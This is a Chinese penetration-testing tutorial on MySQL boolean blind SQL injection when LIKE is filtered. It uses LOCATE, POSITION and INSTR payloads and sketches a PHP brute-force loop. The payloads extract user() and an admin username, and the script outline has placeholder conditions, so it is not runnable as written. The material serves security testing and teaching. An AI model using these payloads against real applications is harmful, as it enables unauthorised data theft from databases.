mysql 过滤like时的另类盲注方法
字数 1106 2025-08-26 22:11:35
MySQL过滤LIKE时的替代盲注方法详解
0x00 概述
在渗透测试过程中,经常会遇到SQL注入点过滤了LIKE、%、IF、CASE等关键字的情况,导致传统的LIKE盲注无法使用。本文介绍几种替代方法,包括LOCATE、POSITION和INSTR函数的使用技巧,以及相应的注入策略。
0x01 替代函数介绍
1. LOCATE函数
语法:LOCATE(substr, str)
功能:返回子字符串substr在字符串str中第一次出现的位置
注入用法:
SELECT * FROM test WHERE test=1 AND LOCATE('ro', SUBSTRING(user(),1,2))>0
2. POSITION函数
语法:POSITION(substr IN str)
功能:与LOCATE功能相同,语法不同
注入用法:
SELECT * FROM test WHERE test=1 AND POSITION('ro' IN SUBSTRING(user(),1,2))
3. INSTR函数
语法:INSTR(str, substr)
功能:与LOCATE功能相同,参数顺序相反
注入用法:
SELECT * FROM test WHERE test=1 AND INSTR(SUBSTRING(user(),1,2), 'ro')>0
0x02 函数特性分析
这些替代函数存在一个重要限制:它们都是左右匹配的,这会导致以下问题:
- 当匹配类似
a1b2a1a2这样的数据时会出现不准确 - 输入
a1匹配为true时,输入a1a也会匹配为true - 无法精确确定第一位数据的准确值
0x03 解决方案
方案1:使用SUBSTRING函数递归爆破
这种方法与普通布尔盲注类似,通过SUBSTRING函数截取特定位置的字符进行爆破。
SUBSTRING函数用法:
SUBSTRING(str, pos) -- 从pos位置开始截取到结尾
SUBSTRING(str, pos, length) -- 从pos位置开始截取length长度
注入示例:
-- 查询user()前两位数据
SELECT * FROM test WHERE test=1 AND LOCATE('ro', SUBSTRING(user(),1,2))>0
方案2:双向爆破策略
- 首先确定目标数据的长度
- 然后采用双向爆破策略:
- 先向右填充爆破
- 当无法继续向右爆破时,开始向左爆破
爆破流程示例:
LOCATE('o', user())>0→ 真LOCATE('ot', user())>0→ 真- ...
LOCATE('ot@localhost', user())>0→ 真- 发现还差2个字符时,开始向左爆破
0x04 实际注入案例
1. 查询user()数据
-- 正确时(页面内容不变)
SELECT * FROM test WHERE test=1 AND LOCATE('ro', SUBSTRING(user(),1,2))>0
-- 错误时(页面返回为空)
SELECT * FROM test WHERE test=1 AND LOCATE('r1', SUBSTRING(user(),1,2))>0
2. 查询数据库表数据
-- 读取test.tdb_admin表username字段前两位
SELECT * FROM test WHERE test=1 AND LOCATE('ad', SUBSTRING((SELECT username FROM test.tdb_admin LIMIT 0,1),1,2))>0
0x05 自动化脚本实现
以下是PHP实现的爆破脚本核心思路:
// 1. 首先确定user()长度
$i = 0;
while(true) {
$sql = "' AND LENGTH(user())=".$i."-- a";
if(请求返回正确){
$user_size = $i;
break;
}
$i++;
}
// 2. 双向爆破内容
$payload = "!POIUYTREWQ..."; // 包含所有可能字符
$user_data = '';
while(true) {
if(strlen($user_data) !== $user_size) {
foreach($payload as $char) {
// 向右爆破
$sql = "' AND LOCATE(BINARY '".$user_data.$char."', user())>0 -- a";
if(请求返回正确) {
$user_data .= $char;
continue;
}
// 向左爆破
$sql = "' AND LOCATE(BINARY '".$char.$user_data."', user())>0 -- a";
if(请求返回正确) {
$user_data = $char.$user_data;
continue;
}
}
} else {
break;
}
}
关键点:
- 使用
BINARY关键字使搜索区分大小写 - 采用双向爆破策略解决左右匹配问题
- 先确定长度再爆破内容
0x06 注意事项
- MySQL默认不区分大小写,如需区分大小写需使用
BINARY关键字 - 这些方法适用于无回显但存在布尔型响应的场景
- 爆破效率较低,需要优化字符集和爆破顺序
- 在实际渗透中,应优先考虑使用更高效的注入技术
通过以上方法,即使过滤了LIKE等关键字,仍然可以实现有效的SQL盲注攻击。理解这些函数的特性和限制,可以帮助安全测试人员在受限环境下完成注入测试。